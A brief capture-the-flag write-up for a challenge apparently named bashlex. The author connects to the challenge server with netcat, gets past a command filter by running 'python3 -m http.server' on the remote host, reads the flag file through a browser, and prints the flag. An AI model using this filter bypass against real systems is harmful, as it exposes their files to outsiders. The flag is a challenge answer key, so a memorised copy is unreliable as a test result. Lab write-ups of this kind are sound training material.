### Solution
Missed this CTF but tried this challenge just now.

`nc 34.90.44.21 1337`

After trying some common commands I found that `python3` was not sanitized so i used this payload to setup a http server
```sh
> python3 -m http.server 1234
```
and then get the flag in my browser `http://34.90.44.21:1234/home/bashlex/flag.txt`

### Flag
> union{chomsky_go_lllllllll1}